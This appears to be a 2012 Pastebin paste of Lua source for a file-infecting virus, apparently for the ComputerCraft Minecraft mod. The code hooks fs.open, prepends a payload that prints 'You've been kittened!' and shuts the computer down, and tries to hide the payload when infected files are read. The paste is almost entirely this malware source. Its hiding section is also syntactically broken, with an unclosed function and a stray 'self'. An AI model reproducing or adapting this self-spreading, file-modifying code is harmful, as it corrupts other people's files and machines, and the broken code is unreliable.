Advertisement
Alakazard12

Test

Dec 23rd, 2012
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.04 KB | None | 0 0
  1. --KVTAG
  2. -- Stickmasterluke alakazard12 -- hehe.
  3. virus = "--KVTAG\nprint(\"You've been kittened!\")\nsleep(1.5)\nos.shutdown()\n"
  4. oldOpen = fs.open
  5.  
  6. function infect(file)
  7.     file = shell.resolve(file)
  8.     if fs.exists(file) and not fs.isDir(file) then
  9.         pcall(function()
  10.             local rp1 = oldOpen(file, "r")
  11.             local rp2 = oldOpen(file, "w")
  12.             rp2.write(virus.."\n"..rp1.readAll())
  13.             rp1.close()
  14.             rp2.close()
  15.         end)
  16.     end
  17. end
  18.  
  19. function fs.open(file, mode)
  20.     local f = oldOpen(file,"r")
  21.     if (f.readLine() ~= "--KVTAG") then
  22.         infect(file)
  23.     else
  24.         if (mode == "r") then
  25.             f.editedText = string.sub(f.readAll(), #virus+1)
  26.             f.readAll = (function() return self.editedText end)
  27.             f.line = 1
  28.             f.line2 = 1
  29.             f.getLine = (function()
  30.             f.readLine = (function() return string.gsub(f.readAll(),"%w+", self.getLine) end)
  31.         end
  32.     end
  33.     f.close()
  34.     return oldOpen(file, mode)
  35. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement